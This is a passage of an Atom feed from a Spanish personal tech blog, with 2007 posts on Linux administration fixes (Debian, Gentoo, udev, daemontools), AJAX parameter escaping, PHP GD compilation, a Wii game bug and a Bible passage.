type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/1872558828702213610'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2007/08/juan-1.html' title='Juan 1'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-7610275371472390155</id><published>2007-08-06T10:14:00.000+02:00</published><updated>2007-08-06T10:15:34.549+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cpan'/><category scheme='http://www.blogger.com/atom/ns#' term='perl'/><title type='text'>perl CPAN</title><content type='html'>&lt;pre class="codigo"&gt;perl -MCPAN -e shell&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-7610275371472390155?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/7610275371472390155/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=7610275371472390155&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/7610275371472390155'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/7610275371472390155'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2007/08/perl-cpan.html' title='perl CPAN'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-8815090126622715461</id><published>2007-07-11T22:48:00.000+02:00</published><updated>2007-07-11T22:49:57.486+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='c++'/><category scheme='http://www.blogger.com/atom/ns#' term='debian'/><title type='text'>Debian "/lib/cpp" fails sanity check</title><content type='html'>&lt;pre class="codigo"&gt;checking how to run the C++ preprocessor... /lib/cpp&lt;br /&gt;configure: error: C++ preprocessor "/lib/cpp" fails sanity check&lt;br /&gt;See `config.log' for more details.&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Ocurre que falta el compilador de c++&lt;br /&gt;&lt;br /&gt;&lt;pre class="codigo"&gt;apt-get install g++&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Y solucionado.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-8815090126622715461?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/8815090126622715461/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=8815090126622715461&amp;isPopup=true' title='6 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/8815090126622715461'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/8815090126622715461'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2007/07/debian-libcpp-fails-sanity-check.html' title='Debian &quot;/lib/cpp&quot; fails sanity check'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-2371162183583545057</id><published>2007-06-28T22:34:00.000+02:00</published><updated>2007-06-28T22:53:57.076+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='san mateo'/><title type='text'>San Mateo 7</title><content type='html'>&lt;style&gt;.min {font-size:8px;vertical-align:text-top;}&lt;/style&gt;&lt;br /&gt;&lt;span style="text-decoration:underline;"&gt;San Mateo 7, 1-6&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="min"&gt;1&lt;/span&gt; No juzguéis, para que no seáis juzgados. &lt;span class="min"&gt;2&lt;/span&gt; Porque con el juicio con que juzguéis seréis juzgados, y con la medida con que midáis se os medirá. &lt;span class="min"&gt;3&lt;/span&gt; ¿Cómo es que miras la brizna que hay en el ojo de tu hermano, y no reparas en la viga que hay en tu ojo? &lt;span class="min"&gt;4&lt;/span&gt; ¿O cómo vas a decir a tu hermano: 'Deja que te saque la brizna del ojo', teniendo la viga en el tuyo? &lt;span class="min"&gt;5&lt;/span&gt; Hipócrita, saca primero la viga de tu ojo, y entonces podrás ver para sacar la brizna del ojo de tu hermano.&lt;br /&gt;&lt;br /&gt;&lt;span class="min"&gt;6&lt;/span&gt; No deis a los perros lo que es santo, ni echéis perlas delante de los puercos, no sea que las pisoteen con sus patas, y después, volviéndose, os despedacen.&lt;br /&gt;&lt;br /&gt;&lt;a href="/2006/05/pedid-y-se-os-dar.html"&gt;San Mateo 7, 7-12&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-2371162183583545057?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/2371162183583545057/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=2371162183583545057&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/2371162183583545057'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/2371162183583545057'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2007/06/san-mateo-7.html' title='San Mateo 7'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-3758110005843635815</id><published>2007-06-11T10:22:00.000+02:00</published><updated>2007-06-11T10:48:50.021+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='gentoo'/><category scheme='http://www.blogger.com/atom/ns#' term='udev'/><category scheme='http://www.blogger.com/atom/ns#' term='net'/><title type='text'>Dispositivos persistentes con udev</title><content type='html'>Recientemente tras el &lt;a href="http://preachermm.blogspot.com/2005/07/clonado-remoto-mediante-ssh-y-cpio.html"&gt;clonado de una gentoo&lt;/a&gt; el interfaz de red eth0 había desaparecido misteriosamente.&lt;br /&gt;&lt;br /&gt;Listando los interfaces:&lt;br /&gt;&lt;pre class="codigo"&gt;# ifconfig -a&lt;br /&gt;eth1      Link encap:Ethernet  HWaddr 00:E0:7D:EA:14:6C&lt;br /&gt;          BROADCAST MULTICAST  MTU:1500  Metric:1&lt;br /&gt;          RX packets:0 errors:0 dropped:0 overruns:0 frame:0&lt;br /&gt;          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0&lt;br /&gt;          collisions:0 txqueuelen:1000&lt;br /&gt;          RX bytes:0 (0.0 b)  TX bytes:0 (0.0 b)&lt;br /&gt;          Interrupt:17&lt;br /&gt;&lt;br /&gt;lo        Link encap:Local Loopback&lt;br /&gt;          inet addr:127.0.0.1  Mask:255.0.0.0&lt;br /&gt;          UP LOOPBACK RUNNING  MTU:16436  Metric:1&lt;br /&gt;          RX packets:0 errors:0 dropped:0 overruns:0 frame:0&lt;br /&gt;          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0&lt;br /&gt;          collisions:0 txqueuelen:0&lt;br /&gt;          RX bytes:0 (0.0 b)  TX bytes:0 (0.0 b)&lt;br /&gt;&lt;br /&gt;teql0     Link encap:UNSPEC  HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00&lt;br /&gt;          NOARP  MTU:1500  Metric:1&lt;br /&gt;          RX packets:0 errors:0 dropped:0 overruns:0 frame:0&lt;br /&gt;          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0&lt;br /&gt;          collisions:0 txqueuelen:100&lt;br /&gt;          RX bytes:0 (0.0 b)  TX bytes:0 (0.0 b)&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Se observaba que había sido renombrado a eth1 automaticamente a pesar de que en el arranque el kernel lo había cogido como eth0.&lt;br /&gt;&lt;br /&gt;Resulta que el demonio udev controla la asignación y permite hacerlo mediante MAC, de esta forma al no encontrar la tarjeta con la MAC original en vez de levantar la nueva crea un interfaz numericamente distinto.&lt;br /&gt;&lt;br /&gt;La configuración para quitar la dirección de red forzada se encuentra en "/etc/udev/rules.d/70-persistent-net.rules":&lt;br /&gt;&lt;pre class="codigo"&gt;# This file was automatically generated by the /lib/udev/write_net_rules&lt;br /&gt;# program, probably run by the persistent-net-generator.rules rules file.&lt;br /&gt;#&lt;br /&gt;# You can modify it, as long as you keep each rule on a single line.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;# PCI device 0x10ec:0x8139 (8139too)&lt;br /&gt;SUBSYSTEM=="net", DRIVERS=="?*", ATTRS{address}=="00:e0:7d:ea:14:6c", NAME="eth0"&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Podemos configurar la linea correspondiente a eth0 o simplemente borrarla, arrancar net.eth0 y reinciar. Durante la parada del sistema udev se encargará de añadir la linea correctamente.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-3758110005843635815?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/3758110005843635815/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=3758110005843635815&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/3758110005843635815'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/3758110005843635815'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2007/06/dispositivos-persistentes-con-udev.html' title='Dispositivos persistentes con udev'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-9169620412051010652</id><published>2007-06-03T18:39:00.000+02:00</published><updated>2007-06-03T18:54:41.604+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='wii'/><title type='text'>Fallo en Rayman Raving Rabbids para Wii</title><content type='html'>Pues sí, resulta que el jodio juego tiene un bug en una de las pruebas, la de "Los Bunnies tienen un ritmo natural" (que consiste en encender unas radios y liquidar a leches a los conejos), a base de movimientos rápidos con el wiimote. Cuando ya solo quedan en la pista unos cuantos el mando deja de responder, se debe a algún problema con la configuración de la Wii a 50Hz, así que: configuración/cambiar a 60Hz, lo mejor es hacerlo antes de partirse la muñeca (el que haya tenido el mismo problema me entenderá :p)&lt;br /&gt;&lt;br /&gt;Por lo demás el juego es divertidísimo y la prueba de baile con más gente es un puntazo :D&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.flickr.com/photos/preacher/527946306/" title="Photo Sharing"&gt;&lt;img src="http://farm1.static.flickr.com/193/527946306_baf8c3d855.jpg" alt="rayman" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-9169620412051010652?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/9169620412051010652/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=9169620412051010652&amp;isPopup=true' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/9169620412051010652'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/9169620412051010652'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2007/06/fallo-en-rayman-raving-rabbids-para-wii.html' title='Fallo en Rayman Raving Rabbids para Wii'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://farm1.static.flickr.com/193/527946306_baf8c3d855_t.jpg' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-201326319759565120</id><published>2007-05-28T19:59:00.000+02:00</published><updated>2007-05-28T20:01:55.838+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='citas'/><title type='text'>Cita del mes</title><content type='html'>"You're reading this book beacuse you've got the impossible job that nobody wants".&lt;br /&gt;&lt;br /&gt;Anda que no!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-201326319759565120?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/201326319759565120/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=201326319759565120&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/201326319759565120'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/201326319759565120'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2007/05/cita-del-mes.html' title='Cita del mes'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-8860511208295946238</id><published>2007-03-06T22:17:00.000+01:00</published><updated>2007-03-06T22:44:54.210+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='post'/><category scheme='http://www.blogger.com/atom/ns#' term='escape'/><category scheme='http://www.blogger.com/atom/ns#' term='ajax'/><category scheme='http://www.blogger.com/atom/ns#' term='parametros'/><title type='text'>POST correctemente codificados en AJAX</title><content type='html'>Tras revisar muchos manuales de AJAX me he encontrado con un problema muy común, el tema de escapar adecuadamente los parámetros:&lt;br /&gt;&lt;br /&gt;Desde el simple:&lt;br /&gt;&lt;pre class="codigo"&gt;'parametro='+parametro.value+'&amp;parametro2='+parametro2.value&lt;/pre&gt;&lt;br /&gt;Cuyo primer problema salta en cuanto usamos los caracteres "?", "&amp;", etc&lt;br /&gt;&lt;br /&gt;Lo sigue el más avanzado "escape":&lt;br /&gt;&lt;pre class="codigo"&gt;'parametro='+escape(parametro.value)+'&amp;parametro2='+escape(parametro2.value)&lt;/pre&gt;&lt;br /&gt;Que se encarga de codificar como si de una URL se tratara el contenido de nuestra variable, aún seguimos teniendo problemas con caracteres como el "+" o "/" ya que tienen un significado especial, por ejemplo el primero será sustituido en el lado del servidor por un espacio por el lenguaje con que lo procesemos.&lt;br /&gt;&lt;br /&gt;La solución mas adecuada que he encontrado por ahora se trata de realizar nuestra propia función de "escapado":&lt;br /&gt;&lt;pre class="codigo"&gt;function escapa(cadena)&lt;br /&gt;{&lt;br /&gt; return escape(cadena).replace(/\+/g, '%2B').replace(/\//g, '%2F');&lt;br /&gt;}&lt;/pre&gt;&lt;br /&gt;Que se encargará de sustituir los caracteres que la función de javascript escape no ha modificado.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-8860511208295946238?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/8860511208295946238/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=8860511208295946238&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/8860511208295946238'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/8860511208295946238'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2007/03/post-correctemente-codificados-en-ajax.html' title='POST correctemente codificados en AJAX'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-4285015331037317195</id><published>2007-02-09T11:53:00.000+01:00</published><updated>2007-02-06T13:34:07.791+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='shadow'/><category scheme='http://www.blogger.com/atom/ns#' term='portage'/><category scheme='http://www.blogger.com/atom/ns#' term='pam'/><category scheme='http://www.blogger.com/atom/ns#' term='emerge'/><title type='text'>Gentoo pam-login is blocking sys-apps/shadow</title><content type='html'>Ocurre tras la actualización del portage de una versión antigua de gentoo, ya sea la 2005.0 o 2005.1, la solución es simple:&lt;br /&gt;&lt;pre class="codigo"&gt;emerge --buildpkgonly --nodeps shadow &amp;&amp; emerge -C pam-login &amp;&amp; emerge shadow&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-4285015331037317195?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/4285015331037317195/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=4285015331037317195&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/4285015331037317195'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/4285015331037317195'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2007/02/gentoo-pam-login-is-blocking-sys.html' title='Gentoo pam-login is blocking sys-apps/shadow'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-4728694211004642814</id><published>2007-02-06T13:29:00.000+01:00</published><updated>2007-02-06T13:34:07.828+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hang up'/><category scheme='http://www.blogger.com/atom/ns#' term='64bits'/><category scheme='http://www.blogger.com/atom/ns#' term='2003 RC2'/><category scheme='http://www.blogger.com/atom/ns#' term='windows'/><category scheme='http://www.blogger.com/atom/ns#' term='dualcore'/><category scheme='http://www.blogger.com/atom/ns#' term='Wmware Workstation'/><title type='text'>Cuelgue en vmware bajo windows 2003R2 64</title><content type='html'>Resulta que para que la instalación de un windows 2000 bajo vmware se lleve correctamente a cabo bajo un sistema dualcore (en este caso un Athlon X2 Dual Core 64bits) hay que deshabilitar uno de los cores durante la instalación. Eso se hace en el administrador de tareas y quitando una de las CPU de la "afinidad" de la tarea.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-4728694211004642814?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/4728694211004642814/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=4728694211004642814&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/4728694211004642814'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/4728694211004642814'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2007/02/cuelgue-en-vmware-bajo-windows-2003r2.html' title='Cuelgue en vmware bajo windows 2003R2 64'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-8356277290428712653</id><published>2007-02-02T13:44:00.000+01:00</published><updated>2007-02-02T13:50:10.757+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='comando'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='watch'/><title type='text'>Ejecución periodica de un comando para monitorizar su salida</title><content type='html'>Mi comando olvidado... te permite observar la salida de un comando de forma continuada, por ejemplo:&lt;br /&gt;&lt;br /&gt;&lt;pre class="codigo"&gt;watch -n1 'cat /proc/meminfo'&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-8356277290428712653?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/8356277290428712653/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=8356277290428712653&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/8356277290428712653'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/8356277290428712653'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2007/02/ejecucin-periodica-de-un-comando-para.html' title='Ejecución periodica de un comando para monitorizar su salida'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-5729672425616332167</id><published>2007-02-01T13:14:00.000+01:00</published><updated>2007-02-01T13:22:13.106+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='djb'/><category scheme='http://www.blogger.com/atom/ns#' term='libc'/><category scheme='http://www.blogger.com/atom/ns#' term='ucspi-tcp'/><category scheme='http://www.blogger.com/atom/ns#' term='lib64'/><category scheme='http://www.blogger.com/atom/ns#' term='daemontools'/><title type='text'>/lib64/libc.so.6 Bad value en daemontools y ucspi-tcp</title><content type='html'>Intentando compilar el daemontools me encuentro con un error tan hardcore como este:&lt;br /&gt;&lt;br /&gt;&lt;pre class="codigo"&gt;./load tcpserver rules.o remoteinfo.o timeoutconn.o cdb.a \&lt;br /&gt;dns.a time.a unix.a byte.a  `cat socket.lib`&lt;br /&gt;/usr/lib64/gcc/x86_64-suse-linux/4.1.0/../../../../x86_64-suse-linux/bin/ld: errno: TLS definition in /lib64/libc.so.6 section .tbss mismatches non-TLS reference in tcpserver.o&lt;br /&gt;/lib64/libc.so.6: could not read symbols: Bad value&lt;br /&gt;collect2: ld returned 1 exit status&lt;br /&gt;make: *** [tcpserver] Error 1&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Tras casi volverme loco con el engendro de djb resulta que la solución es tan simple como buscar el fichero "error.h" y cambiar la referencia a errno:&lt;br /&gt;&lt;br /&gt;&lt;pre class="codigo"&gt;-extern int errno;&lt;br /&gt;+#include &amp;lt;errno.h&amp;gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Vamos que está bien preparado para los 64bits :p&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-5729672425616332167?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/5729672425616332167/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=5729672425616332167&amp;isPopup=true' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/5729672425616332167'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/5729672425616332167'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2007/02/lib64libcso6-bad-value-en-daemontools-y.html' title='/lib64/libc.so.6 Bad value en daemontools y ucspi-tcp'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-7336111288399512964</id><published>2007-01-18T09:28:00.000+01:00</published><updated>2007-01-18T09:42:30.153+01:00</updated><title type='text'>Shock matutino</title><content type='html'>El extremeño existe:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_lVFCOEwXZGU/Ra8x4ZipqYI/AAAAAAAAAAU/LqLw4lfMuwo/s1600-h/extreme%C3%B1o1.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_lVFCOEwXZGU/Ra8x4ZipqYI/AAAAAAAAAAU/LqLw4lfMuwo/s400/extreme%C3%B1o1.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5021286954540050818" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Es duro de leer pero...&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_lVFCOEwXZGU/Ra8yE5ipqZI/AAAAAAAAAAc/iWoC0Io9FNE/s1600-h/extreme%C3%B1o2.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp1.blogger.com/_lVFCOEwXZGU/Ra8yE5ipqZI/AAAAAAAAAAc/iWoC0Io9FNE/s400/extreme%C3%B1o2.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5021287169288415634" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Por si dudáis: &lt;a href="http://es.wikipedia.org/wiki/Extreme%C3%B1o"&gt;Dialecto extremeño&lt;/a&gt;, y algunos hasta lo usan: &lt;a href="http://santibaneju.gugara.com/tallu"&gt;Santibañez el Alto&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-7336111288399512964?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/7336111288399512964/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=7336111288399512964&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/7336111288399512964'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/7336111288399512964'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2007/01/shock-matutino.html' title='Shock matutino'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp3.blogger.com/_lVFCOEwXZGU/Ra8x4ZipqYI/AAAAAAAAAAU/LqLw4lfMuwo/s72-c/extreme%C3%B1o1.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-2741831168562300205</id><published>2007-01-05T21:22:00.000+01:00</published><updated>2007-01-05T21:46:04.920+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='gd'/><category scheme='http://www.blogger.com/atom/ns#' term='debian'/><category scheme='http://www.blogger.com/atom/ns#' term='jpeg'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>PHP 5.2 + GD + JPEG compila maldito!</title><content type='html'>Un tiempo llevaba ya rondándome el mosqueo por culpa del php, resulta que por algún extraño motivo se compilaba el soporte GD pero me evitaba parte de las librerías gráficas, la del JPEG en concreto... Como se suele decir, lo mejor en estos casos es ir a darse una vuelta para que se vean las cosas más claras, y en efecto:&lt;br /&gt;&lt;br /&gt;&lt;pre class="codigo"&gt;$ ./configure --help&lt;br /&gt;...&lt;br /&gt;  --with-gd[=DIR]         Include GD support where DIR is GD install prefix.&lt;br /&gt;                          If DIR is not set, the bundled GD library will be used&lt;br /&gt;...&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Vamos que si tu no dices donde andan tus librerías pues te mete las que el mismo lleva de "relleno"... que magnifica idea la de esta gente :p&lt;br /&gt;&lt;br /&gt;Las que si que llevan soporte jpeg son las que vienen con el sistema, una debian en este caso:&lt;br 